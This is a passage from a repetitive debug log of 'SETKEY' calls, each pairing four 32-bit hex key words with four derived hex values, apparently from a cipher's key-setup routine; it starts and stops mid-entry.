D436EFD8, dwKeys[3] = 00D420BC;-[0]=06425D27,[1]=395B0FBF,[2]=CA04511B,[3]=669BE459; +SETKEY:dwKeys[0] = 5FFE120C, dwKeys[1] = 619D96CB, dwKeys[2] = B5B78A9F, dwKeys[3] = 09E9216E;-[0]=D01FB5F5,[1]=EF06E76D,[2]=1C59B9C9,[3]=B0C60C8B; +SETKEY:dwKeys[0] = 9F217AFC, dwKeys[1] = 14935F48, dwKeys[2] = B53775C0, dwKeys[3] = 75E04F73;-[0]=D0A0CE67,[1]=EFB99CFF,[2]=1CE6C25B,[3]=B0797719; +SETKEY:dwKeys[0] = 101AC716, dwKeys[1] = 94DF3B33, dwKeys[2] = 544D2809, dwKeys[3] = 10419521;-[0]=BED873C5,[1]=81C1215D,[2]=729E7FF9,[3]=DE01CABB; +SETKEY:dwKeys[0] = 4ECC3CC7, dwKeys[1] = B4BF84DD, dwKeys[2] = 687BB960, dwKeys[3] = EEDAF72F;-[0]=8821E67C,[1]=B738B4E4,[2]=4467EA40,[3]=E8F85F02; +SETKEY:dwKeys[0] = 7773EADE, dwKeys[1] = 158D94E6, dwKeys[2] = 0D25B185, dwKeys[3] = 4C0E1C46;-[0]=188FEF5C,[1]=2796BDC4,[2]=D4C9E360,[3]=78565622; +SETKEY:dwKeys[0] = 76110458, dwKeys[1] = 4924C5D3, dwKeys[2] = D6CF3042, dwKeys[3] = CB7CDD02;-[0]=7BF9B881,[1]=44E0EA19,[2]=B7BFB4BD,[3]=1B2001FF; +SETKEY:dwKeys[0] = 632FD30A, dwKeys[1] = 22DD4B78, dwKeys[2] = 372AE34C, dwKeys[3] = 1EFEE122;-[0]=E62FAE08,[1]=D936FC90,[2]=2A69A234,[3]=86F61776; +SETKEY:dwKeys[0] = 5D5245A2, dwKeys[1] = 407DAB1E, dwKeys[2] = B22250F4, dwKeys[3] = 0C696860;-[0]=94A025F5,[1]=ABB9776D,[2]=58E629C9,[3]=F4799C8B; +SETKEY:dwKeys[0] = 34C863C2, dwKeys[1] = 030BA2FA, dwKeys[2] = 7FF48A80, dwKeys[3] = 1080ABC7;-[0]=F0ED1D33,[1]=CFF44FAB,[2]=3CAB110F,[3]=9034A44D; +SETKEY:dwKeys[0] = 97DB7152, dwKeys[1] = E4DE6602, dwKeys[2] = 6BFBEC9B, dwKeys[3] = 34BCE6B5;-[0]=58147454,[1]=670D26CC,[2]=94527868,[3]=38CDCD2A; +SETKEY:dwKeys[0] = A19749DC, dwKeys[1] = FCD351C6, dwKeys[2] = 354DC089, dwKeys[3] = 10B1F064;-[0]=A9E96C40,[1]=96F03ED8,[2]=65AF607C,[3]=C930D53E; +SETKEY:dwKeys[0] = 488E899F, dwKeys[1] = 4E1F00FE, dwKeys[2] = 69DBDDC4, dwKeys[3] = CADAB91D;-[0]=0E110473,[1]=310856EB,[2]=C257084F,[3]=6EC8BD0D; +SETKEY:dwKeys[0] = 378A9E24, dwKeys[1] = B52B1F40, dwKeys[2] = EA1A22C2, dwKeys[3] = 4D0244E1;-[0]=3D73E859,[1]=026ABAC1,[2]=F135E465,[3]=5DAA5127; +SETKEY:dwKeys[0] = FFA1F017, dwKeys[1] = 77C87BAA, dwKeys[2] = 8E195757, dwKeys[3] = C5C06075;-[0]=DBB8B5CD,[1]=E4A1E755,[2]=17FEB9F1,[3]=BB610CB3; +SETKEY:dwKeys[0] = 4A3B8576, dwKeys[1] = 62342756, dwKeys[2] = 6FB1A108, dwKeys[3] = 55B78000;-[0]=C9768F31,[1]=F66FDDA9,[2]=0530830D,[3]=A9AF364F; +SETKEY:dwKeys[0] = 08B8332B, dwKeys[1] = D13DF4F7, dwKeys[2] = F33EAB88, dwKeys[3] = E9B5B1C3;-[0]=05744A9B,[1]=3A6D1803,[2]=C93246A7,[3]=65ADF3E5; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 2026BA10, dwKeys[1] = 8638A5BC, dwKeys[2] = 2C3D2C7F, dwKeys[3] = D3AA5612;-[0]=B5EF026D,[1]=8AF650F5,[2]=79A90E51,[3]=D536BB13; +SETKEY:dwKeys[0] = 02D3EAC1, dwKeys[1] = 12FDA032, dwKeys[2] = 096652C1, dwKeys[3] = 970BBE3F;-[0]=DD30901F,[1]=E229C287,[2]=11769C23,[3]=BDE92961; +SETKEY:dwKeys[0] = DB655C1B, dwKeys[1] = 1B54D295, dwKeys[2] = 900BFDAA, dwKeys[3] = 40A7819F;-[0]=F191459B,[1]=CE881703,[2]=3DD749A7,[3]=9148FCE5; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 0C78308E, dwKeys[1] = 63FBEFE8, dwKeys[2] = 4C1DF93F, dwKeys[3] = D9BE089B;-[0]=F08DD667,[1]=CF9484FF,[2]=3CCBDA5B,[3]=90546F19; +SETKEY:dwKeys[0] = 492A0EF7, dwKeys[1] = 16371403, dwKeys[2] = 0C2822CA, dwKeys[3] = 750BEB12;-[0]=796839A8,[1]=46716B30,[2]=B52E3594,[3]=19B180D6; +SETKEY:dwKeys[0] = 432F5CA2, dwKeys[1] = DDA19749, dwKeys[2] = D3D51CD5, dwKeys[3] = 20473C15;-[0]=0EEF15BE,[1]=31F64726,[2]=C2A91982,[3]=6E36ACC0; +SETKEY:dwKeys[0] = 065CAD16, dwKeys[1] = 2BE04262, dwKeys[2] = BBCCD8B4, dwKeys[3] = ACA19983;-[0]=B86A581C,[1]=87730A84,[2]=742C5420,[3]=D8B3E162; +SETKEY:dwKeys[0] = 4A00AE08, dwKeys[1] = 769EE31B, dwKeys[2] = ACCE0BD1, dwKeys[3] = 6A9F6E80;-[0]=39EFE682,[1]=06F6B41A,[2]=F5A9EABE,[3]=59365FFC; +SETKEY:dwKeys[0] = 3F0D5475, dwKeys[1] = 8D89DCF4, dwKeys[2] = 21FAF7EE, dwKeys[3] = 9E50988A;-[0]=CCE5D3B0,[1]=F3FC8128,[2]=00A3DF8C,[3]=AC3C6ACE; +SETKEY:dwKeys[0] = D7086F7A, dwKeys[1] = DED45803, dwKeys[2] = 2473F748, dwKeys[3] = F94270B8;-[0]=ADB2AA06,[1]=92ABF89E,[2]=61F4A63A,[3]=CD6B1378; +SETKEY:dwKeys[0] = 368C1582, dwKeys[1] = EC5B0472, dwKeys[2] = 88279231, dwKeys[3] = 8A38A019;-[0]=C254B2FD,[1]=FD4DE065,[2]=0E12BEC1,[3]=A28D0B83; +SETKEY:dwKeys[0] = 7C4B4294, dwKeys[1] = 9018F4E1, dwKeys[2] = A4921F2E, dwKeys[3] = 6E47259F;-[0]=5360DB3A,[1]=6C7989A2,[2]=9F26D706,[3]=33B96244; +SETKEY:dwKeys[0] = 059E7EC6, dwKeys[1] = CCC19A3D, dwKeys[2] = 9332D29A, dwKeys[3] = 7097C3AC;-[0]=DA31D35B,[1]=E52881C3,[2]=1677DF67,[3]=BAE86A25; +SETKEY:dwKeys[0] = 78847D6E, dwKeys[1] = 7E92D4B0, dwKeys[2] = FCB1C7EA, dwKeys[3] = BBD334E0;-[0]=846C27FF,[1]=BB757567,[2]=482A2BC3,[3]=E4B59E81; +SETKEY:dwKeys[0] = D34A1CE4, dwKeys[1] = 706C26E0, dwKeys[2] = 305F73AA, dwKeys[3] = 81DA84D3;-[0]=084B0F6D,[1]=37525DF5,[2]=C40D0351,[3]=6892B613; +SETKEY:dwKeys[0] = 4697C4F7, dwKeys[1] = 1317F00E, dwKeys[2] = BBFC519B, dwKeys[3] = 33CEF5FD;-[0]=BAEE2791,[1]=85F77509,[2]=76A82BAD,[3]=DA379EEF; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 605C21CE, dwKeys[1] = 78B303F4, dwKeys[2] = 4BC7097F, dwKeys[3] = 030C119C;-[0]=710A408B,[1]=4E131213,[2]=BD4C4CB7,[3]=11D3F9F5; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = A0C6FA20, dwKeys[1] = 5737DF5A, dwKeys[2] = 493E36B8, dwKeys[3] = 41A159B5;-[0]=D654FAA6,[1]=E94DA83E,[2]=1A12F69A,[3]=B68D43D8; +SETKEY:dwKeys[0] = D90B468E, dwKeys[1] = 8250FE76, dwKeys[2] = 61F91220, dwKeys[3] = 6E22330C;-[0]=7D7BB44A,[1]=4262E6D2,[2]=B13DB876,[3]=1DA20D34; +SETKEY:dwKeys[0] = 36E46751, dwKeys[1] = FA24870F, dwKeys[2] = 65288117, dwKeys[3] = F64205EB;-[0]=F791335A,[1]=C88861C2,[2]=3BD73F66,[3]=97488A24; +SETKEY:dwKeys[0] = 42B0B108, dwKeys[1] = C102598C, dwKeys[2] = A0B00CC2, dwKeys[3] = FBD0ABE4;-[0]=D8D2BB10,[1]=E7CBE988,[2]=1494B72C,[3]=B80B026E; +SETKEY:dwKeys[0] = 05534BAB, dwKeys[1] = 61598E40, dwKeys[2] = DF75BCB6, dwKeys[3] = 98D2BAAE;-[0]=30B19AF0,[1]=0FA8C868,[2]=FCF796CC,[3]=5068238E; +SETKEY:dwKeys[0] = A989D935, dwKeys[1] = 969092E8, dwKeys[2] = 912792E8, dwKeys[3] = 53D18AC9;-[0]=26649711,[1]=197DC589,[2]=EA229B2D,[3]=46BD2E6F; +SETKEY:dwKeys[0] = BDC89DA6, dwKeys[1] = 2D00C623, dwKeys[2] = A11B54A6, dwKeys[3] = D2AAD853;-[0]=982D295C,[1]=A7347BC4,[2]=546B2560,[3]=F8F49022; +SETKEY:dwKeys[0] = 7DC9E144, dwKeys[1] = D6F4288D, dwKeys[2] = 5492B4D1, dwKeys[3] = 5332EDE6;-[0]=D13E4783,[1]=EE27151B,[2]=1D784BBF,[3]=B1E7FEFD; +SETKEY:dwKeys[0] = B7E7CDBA, dwKeys[1] = 476EE4A5, dwKeys[2] = 8B229F6F, dwKeys[3] = 00F35116;-[0]=01CCA59E,[1]=3ED5F706,[2]=CD8AA9A2,[3]=61151CE0; +SETKEY:dwKeys[0] = 67080160, dwKeys[1] = C1E626F2, dwKeys[2] = 5D1C1A5B, dwKeys[3] = EB26FB0B;-[0]=BCAE60DF,[1]=83B73247,[2]=70E86CE3,[3]=DC77D9A1; +SETKEY:dwKeys[0] = 4FE9F364, dwKeys[1] = 2683D8D5, dwKeys[2] = 5D63407F, dwKeys[3] = B94E7C68;-[0]=BB4E778F,[1]=84572517,[2]=77087BB3,[3]=DB97CEF1; +SETKEY:dwKeys[0] = 222DB194, dwKeys[1] = 866CF3EC, dwKeys[2] = E1363B88, dwKeys[3] = 023F5E5D;-[0]=C3E88D95,[1]=FCF1DF0D,[2]=0FAE81A9,[3]=A33134EB; +SETKEY:dwKeys[0] = 98AABFEA, dwKeys[1] = 1A8AC130, dwKeys[2] = 35949F22, dwKeys[3] = 2177E027;-[0]=0E992BCD,[1]=31807955,[2]=C2DF27F1,[3]=6E4092B3; +SETKEY:dwKeys[0] = DAE54A73, dwKeys[1] = 3D654CE7, dwKeys[2] = 91D6BD1F, dwKeys[3] = E839905C;-[0]=EB96AF5C,[1]=D48FFDC4,[2]=27D0A360,[3]=8B4F1622; +SETKEY:dwKeys[0] = 62ADD7D1, dwKeys[1] = 79715023, dwKeys[2] = BC305409, dwKeys[3] = E6C14BA5;-[0]=3C64EA03,[1]=037DB89B,[2]=F022E63F,[3]=5CBD537D; +SETKEY:dwKeys[0] = 979DBA17, dwKeys[1] = 86938FBA, dwKeys[2] = 32823468, dwKeys[3] = ECC0ABA0;-[0]=B0F53049,[1]=8FEC62D1,[2]=7CB33C75,[3]=D02C8937; +SETKEY:dwKeys[0] = 806E86BA, dwKeys[1] = AD7CEC6C, dwKeys[2] = 1D18B34F, dwKeys[3] = FD0BE5EA;-[0]=E17E294E,[1]=DE677BD6,[2]=2D382572,[3]=81A79030; +SETKEY:dwKeys[0] = 92A1E82E, dwKeys[1] = E8BFE737, dwKeys[2] = 71941E58, dwKeys[3] = 0E7A8F07;-[0]=269780D9,[1]=198ED241,[2]=EAD18CE5,[3]=464E39A7; +SETKEY:dwKeys[0] = 0EFC353A, dwKeys[1] = FABD7A67, dwKeys[2] = B7D4EB78, dwKeys[3] = 58D09261;-[0]=4BBBCADF,[1]=74A29847,[2]=87FDC6E3,[3]=2B6273A1; +SETKEY:dwKeys[0] = 239EDA7B, dwKeys[1] = 5D0B8D90, dwKeys[2] = 2DD4C920, dwKeys[3] = A5663195;-[0]=EFCE190B,[1]=D0D74B93,[2]=23881537,[3]=8F17A075; +SETKEY:dwKeys[0] = A90019E2, dwKeys[1] = 64B5613A, dwKeys[2] = 0901C947, dwKeys[3] = 76A1C381;-[0]=3A61C845,[1]=05789ADD,[2]=F627C479,[3]=5AB8713B; +SETKEY:dwKeys[0] = E7FE8D7C, dwKeys[1] = 9D3C9776, dwKeys[2] = 14F7894A, dwKeys[3] = 9341C309;-[0]=2F4FB67C,[1]=1056E4E4,[2]=E309BA40,[3]=4F960F02; +SETKEY:dwKeys[0] = 267F059B, dwKeys[1] = BF2DBE71, dwKeys[2] = CE817F82, dwKeys[3] = 87F075B5;-[0]=83223AD8,[1]=BC3B6840,[2]=4F6436E4,[3]=E3FB83A6; +SETKEY:dwKeys[0] = 852EC832, dwKeys[1] = 9107A3FF, dwKeys[2] = AC26FA1A, dwKeys[3] = 1AA9E5BC;-[0]=F03B876C,[1]=CF22D5F4,[2]=3C7D8B50,[3]=90E23E12; +SETKEY:dwKeys[0] = 1299B4D5, dwKeys[1] = 0DC1DFC3, dwKeys[2] = F191485F, dwKeys[3] = 3C16D424;-[0]=CC130567,[1]=F30A57FF,[2]=0055095B,[3]=ACCABC19; +SETKEY:dwKeys[0] = 8614743D, dwKeys[1] = 9D0EED89, dwKeys[2] = 8B1563FE, dwKeys[3] = 5E7CA993;-[0]=1E14E44C,[1]=210DB6D4,[2]=D252E870,[3]=7ECD5D32; +SETKEY:dwKeys[0] = 4D3F7F01, dwKeys[1] = B8B408FC, dwKeys[2] = C1D30746, dwKeys[3] = 8B05FFBE;-[0]=CDEE9424,[1]=F2F7C6BC,[2]=01A89818,[3]=AD372D5A; +SETKEY:dwKeys[0] = D10C46D5, dwKeys[1] = 4B76C44D, dwKeys[2] = 150AE356, dwKeys[3] = 7D67516C;-[0]=FDA7A072,[1]=C2BEF2EA,[2]=31E1AC4E,[3]=9D7E190C; +SETKEY:dwKeys[0] = FD6D745B, dwKeys[1] = 72BC0CFC, dwKeys[2] = 461ABD5A, dwKeys[3] = 0C896823;-[0]=85FB7581,[1]=BAE22719,[2]=49BD79BD,[3]=E522CCFF; +SETKEY:dwKeys[0] = D8E976C2, dwKeys[1] = 1745CFE6, dwKeys[2] = 8661ADBA, dwKeys[3] = F8672111;-[0]=51B8C41F,[1]=6EA19687,[2]=9DFEC823,[3]=31617D61; +SETKEY:dwKeys[0] = 71152D22, dwKeys[1] = 91065E81, dwKeys[2] = 9AE70C70, dwKeys[3] = BA628073;-[0]=9791CDE6,[1]=A8889F7E,[2]=5BD7C1DA,[3]=F7487498; +SETKEY:dwKeys[0] = B2ECDFD4, dwKeys[1] = C2B6A80D, dwKeys[2] = 68D96C52, dwKeys[3] = 700923DD;-[0]=F908F412,[1]=C611A68A,[2]=354EF82E,[3]=99D14D6C; +SETKEY:dwKeys[0] = 110D2876, dwKeys[1] = 355AE8EC, dwKeys[2] = 0590C9F5, dwKeys[3] = A25C7324;-[0]=E9FD65EE,[1]=D6E43776,[2]=25BB69D2,[3]=8924DC90; +SETKEY:dwKeys[0] = 4ABFEE5C, dwKeys[1] = 1318BF95, dwKeys[2] = ADE82443, dwKeys[3] = 10BCB3E9;-[0]=3246BA8E,[1]=0D5FE816,[2]=FE00B6B2,[3]=529F03F0; +SETKEY:dwKeys[0] = 2D1D24A3, dwKeys[1] = EC2F890F, dwKeys[2] = 16DBA2DC, dwKeys[3] = 63D26EF2;-[0]=62D2E721,[1]=5DCBB5B9,[2]=AE94EB1D,[3]=020B5E5F; +SETKEY:dwKeys[0] = 9C94C4E7, dwKeys[1] = EFF9DA65, dwKeys[2] = 7A76DB11, dwKeys[3] = FD8A52E4;-[0]=0CD30DA8,[1]=33CA5F30,[2]=C0950194,[3]=6C0AB4D6; +SETKEY:dwKeys[0] = 75AF1F19, dwKeys[1] = FCC3EE5E, dwKeys[2] = 712A4314, dwKeys[3] = 6AB63FA8;-[0]=05878882,[1]=3A9EDA1A,[2]=C9C184BE,[3]=655E31FC; +SETKEY:dwKeys[0] = 74174A96, dwKeys[1] = 5FD0D878, dwKeys[2] = E09D3913, dwKeys[3] = AA7F4B9D;-[0]=5DC4D581,[1]=62DD8719,[2]=9182D9BD,[3]=3D1D6CFF; +SETKEY:dwKeys[0] = 20A64E33, dwKeys[1] = DEA1214A, dwKeys[2] = 32296644, dwKeys[3] = 57293BC9;-[0]=8822E524,[1]=B73BB7BC,[2]=4464E918,[3]=E8FB5C5A; +SETKEY:dwKeys[0] = 852CF60B, dwKeys[1] = 3F112314, dwKeys[2] = 5B45123C, dwKeys[3] = 8591D278;-[0]=2DC43C54,[1]=12DD6ECC,[2]=E1823068,[3]=4D1D852A; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = CC20F756, dwKeys[1] = 52F9907D, dwKeys[2] = 48F0D346, dwKeys[3] = EE78F1B2;-[0]=07E65011,[1]=38FF0289,[2]=CBA05C2D,[3]=673FE96F; +SETKEY:dwKeys[0] = 1F780990, dwKeys[1] = DD7A2081, dwKeys[2] = FCE96EFF, dwKeys[3] = 1E4CDB68;-[0]=3B9D96F1,[1]=0484C469,[2]=F7DB9ACD,[3]=5B442F8F; +SETKEY:dwKeys[0] = 5920AB13, dwKeys[1] = 20F96B19, dwKeys[2] = C561F4A6, dwKeys[3] = 98FDCAE6;-[0]=D1AFE279,[1]=EEB6B0E1,[2]=1DE9EE45,[3]=B1765B07; +SETKEY:dwKeys[0] = 620D48F8, dwKeys[1] = 0A5A8A0F, dwKeys[2] = 9AD98F87, dwKeys[3] = FB362EFF;-[0]=3500B523,[1]=0A19E7BB,[2]=F946B91F,[3]=55D90C5D; +SETKEY:dwKeys[0] = 93925E94, dwKeys[1] = 45F67F38, dwKeys[2] = A497ECCC, dwKeys[3] = F59D36E5;-[0]=E06D3B5E,[1]=DF7469C6,[2]=2C2B3762,[3]=80B48220; +SETKEY:dwKeys[0] = 1C8683A4, dwKeys[1] = 64305DB1, dwKeys[2] = 42002C8D, dwKeys[3] = F98523AC;-[0]=C1CFD13B,[1]=FED683A3,[2]=0D89DD07,[3]=A1166845; +SETKEY:dwKeys[0] = EC525F71, dwKeys[1] = 79DAFF3B, dwKeys[2] = 50879FB7, dwKeys[3] = A5D4077A;-[0]=D7D263DB,[1]=E8CB3143,[2]=1B946FE7,[3]=B70BDAA5; +SETKEY:dwKeys[0] = 281DAD2C, dwKeys[1] = 17CDE3EF, dwKeys[2] = E6952C0A, dwKeys[3] = 8A75B3F3;-[0]=D87CF6CC,[1]=E765A454,[2]=143AFAF0,[3]=B8A54FB2; +SETKEY:dwKeys[0] = 48CC62F3, dwKeys[1] = 13045D38, dwKeys[2] = C437FB48, dwKeys[3] = 05CB2CB2;-[0]=E61A43BD,[1]=D9031125,[2]=2A5C4F81,[3]=86C3FAC3; +SETKEY:dwKeys[0] = B1237F2F, dwKeys[1] = 225FCA56, dwKeys[2] = 8696100D, dwKeys[3] = 25235F38;-[0]=5D7CFBF0,[1]=6265A968,[2]=913AF7CC,[3]=3DA5428E; +SETKEY:dwKeys[0] = 12D87C74, dwKeys[1] = 38D9EF30, dwKeys[2] = B83B4496, dwKeys[3] = 170C051E;-[0]=2B184165,[1]=140113FD,[2]=E75E4D59,[3]=4BC1F81B; +SETKEY:dwKeys[0] = FC16EAA6, dwKeys[1] = 62C49696, dwKeys[2] = EC46F78B, dwKeys[3] = 5F0D6352;-[0]=745A4E0D,[1]=4B431C95,[2]=B81C4231,[3]=1483F773; +SETKEY:dwKeys[0] = 44261C6F, dwKeys[1] = 4FAAD0FC, dwKeys[2] = E33D35FE, dwKeys[3] = DBDAA8AE;-[0]=C2D34F66,[1]=FDCA1DFE,[2]=0E95435A,[3]=A20AF618; +SETKEY:dwKeys[0] = 320947A3, dwKeys[1] = 26F1DEC6, dwKeys[2] = 144872B7, dwKeys[3] = A3DB252E;-[0]=0B435100,[1]=345A0398,[2]=C7055D3C,[3]=6B9AE87E; +SETKEY:dwKeys[0] = A48BE6BA, dwKeys[1] = B842E247, dwKeys[2] = 996B2183, dwKeys[3] = 1F694C3F;-[0]=F26BA91D,[1]=CD72FB85,[2]=3E2DA521,[3]=92B21063; +SETKEY:dwKeys[0] = A1E67E81, dwKeys[1] = F7EEC403, dwKeys[2] = 0F451507, dwKeys[3] = F838951E;-[0]=A67EAD27,[1]=9967FFBF,[2]=6A38A11B,[3]=C6A71459; +SETKEY:dwKeys[0] = 90907C0D, dwKeys[1] = 566D6E69, dwKeys[2] = F8CA290B, dwKeys[3] = 90E9FC40;-[0]=F2990E52,[1]=CD805CCA,[2]=3EDF026E,[3]=9240B72C; +SETKEY:dwKeys[0] = 6DFE0514, dwKeys[1] = 49711916, dwKeys[2] = 62428AB0, dwKeys[3] = 50627F4F;-[0]=28858F8B,[1]=179CDD13,[2]=E4C383B7,[3]=485C36F5; +SETKEY:dwKeys[0] = 456ED181, dwKeys[1] = 7BD99D4F, dwKeys[2] = E435DD87, dwKeys[3] = 7023F030;-[0]=245010FD,[1]=1B494265,[2]=E8161CC1,[3]=4489A983; +SETKEY:dwKeys[0] = 2D5E2790, dwKeys[1] = D5057D91, dwKeys[2] = F9E43AB2, dwKeys[3] = D42747D2;-[0]=92E839C5,[1]=ADF16B5D,[2]=5EAE35F9,[3]=F23180BB; +SETKEY:dwKeys[0] = 3E3C6822, dwKeys[1] = 4A89D179, dwKeys[2] = 7926A2B3, dwKeys[3] = BAE5E613;-[0]=7472E3B3,[1]=4B6BB12B,[2]=B834EF8F,[3]=14AB5ACD; +SETKEY:dwKeys[0] = D4350E63, dwKeys[1] = 7AC19353, dwKeys[2] = D652380C, dwKeys[3] = 2689C626;-[0]=B1C8FD97,[1]=8ED1AF0F,[2]=7D8EF1AB,[3]=D11144E9; +SETKEY:dwKeys[0] = 8FFA1AF2, dwKeys[1] = 3CBF2009, dwKeys[2] = C6189EFC, dwKeys[3] = 235489E0;-[0]=D8C8F26D,[1]=E7D1A0F5,[2]=148EFE51,[3]=B8114B13; +SETKEY:dwKeys[0] = C9679D29, dwKeys[1] = 06C57EE1, dwKeys[2] = 18B13FCD, dwKeys[3] = 06E60FBF;-[0]=93165955,[1]=AC0F0BCD,[2]=5F505569,[3]=F3CFE02B; +SETKEY:dwKeys[0] = 100FD774, dwKeys[1] = 7D35081B, dwKeys[2] = DE21E77B, dwKeys[3] = BD8D0613;-[0]=D14D8FEE,[1]=EE54DD76,[2]=1D0B83D2,[3]=B1943690; +SETKEY:dwKeys[0] = 4995CCBF, dwKeys[1] = C0EE97BD, dwKeys[2] = 39377EFD, dwKeys[3] = 1F12605F;-[0]=26FF1D70,[1]=19E64FE8,[2]=EAB9114C,[3]=4626A40E; +SETKEY:dwKeys[0] = 229A7782, dwKeys[1] = 4C739257, dwKeys[2] = 850F557E, dwKeys[3] = E9915614;-[0]=65C036D9,[1]=5AD96441,[2]=A9863AE5,[3]=05198FA7; +SETKEY:dwKeys[0] = D0ECDD97, dwKeys[1] = DD743C56, dwKeys[2] = EB687799, dwKeys[3] = 8EE63289;-[0]=0A7E96C8,[1]=3567C450,[2]=C6389AF4,[3]=6AA72FB6; +SETKEY:dwKeys[0] = 03C1018E, dwKeys[1] = 571F2312, dwKeys[2] = C16847AC, dwKeys[3] = 5407FC06;-[0]=A1A97BA4,[1]=9EB0293C,[2]=6DEF7798,[3]=C170C2DA; +SETKEY:dwKeys[0] = 8921F34E, dwKeys[1] = C6D743DA, dwKeys[2] = D35A9AA2, dwKeys[3] = 6F8713C5;-[0]=7782FF58,[1]=489BADC0,[2]=BBC4F364,[3]=175B4626; +SETKEY:dwKeys[0] = BEB042D1, dwKeys[1] = 17AD6796, dwKeys[2] = 181DB94D, dwKeys[3] = 6C9D0E11;-[0]=B92D4960,[1]=86341BF8,[2]=756B455C,[3]=D9F4F01E; +SETKEY:dwKeys[0] = AB987FE5, dwKeys[1] = 9D71A207, dwKeys[2] = AFB2F9DA, dwKeys[3] = C105C3AE;-[0]=44A385E7,[1]=7BBAD77F,[2]=88E589DB,[3]=247A3C99; +SETKEY:dwKeys[0] = FF5D4EA6, dwKeys[1] = E96C14BD, dwKeys[2] = B7722333, dwKeys[3] = 39E54FDD;-[0]=604CCBAF,[1]=5F559937,[2]=AC0AC793,[3]=009572D1; +SETKEY:dwKeys[0] = DBF7EB8C, dwKeys[1] = FF4CF99A, dwKeys[2] = 44D76700, dwKeys[3] = 49B995BA;-[0]=B1AF8EB0,[1]=8EB6DC28,[2]=7DE9828C,[3]=D17637CE; +SETKEY:dwKeys[0] = 387875B7, dwKeys[1] = 036373C0, dwKeys[2] = 0CDA0FA3, dwKeys[3] = BD7C88F3;-[0]=76004241,[1]=491910D9,[2]=BA464E7D,[3]=16D9FB3F; +SETKEY:dwKeys[0] = 7EF243CD, dwKeys[1] = BB114A6D, dwKeys[2] = 6C5FD249, dwKeys[3] = A7DF5772;-[0]=7EA848ED,[1]=41B11A75,[2]=B2EE44D1,[3]=1E71F193; +SETKEY:dwKeys[0] = CE584112, dwKeys[1] = 20A81BC6, dwKeys[2] = A5956DD0, dwKeys[3] = C8EC1E0F;-[0]=59651553,[1]=667C47CB,[2]=9523196F,[3]=39BCAC2D; +SETKEY:dwKeys[0] = 084E3776, dwKeys[1] = 70C55919, dwKeys[2] = 6370BB5D, dwKeys[3] = C6A1DCEC;-[0]=0FDC2004,[1]=30C5729C,[2]=C39A2C38,[3]=6F05997A; +SETKEY:dwKeys[0] = 9BB1B4B1, dwKeys[1] = 58C33289, dwKeys[2] = 619C4203, dwKeys[3] = 097239D4;-[0]=A6FFA935,[1]=99E6FBAD,[2]=6AB9A509,[3]=C626104B; +SETKEY:dwKeys[0] = 1044FE45, dwKeys[1] = FECFF3AB, dwKeys[2] = EF101F2C, dwKeys[3] = DA92E7EE;-[0]=428F63DD,[1]=7D963145,[2]=8EC96FE1,[3]=2256DAA3; +SETKEY:dwKeys[0] = EF6391FC, dwKeys[1] = 552CFF4F, dwKeys[2] = 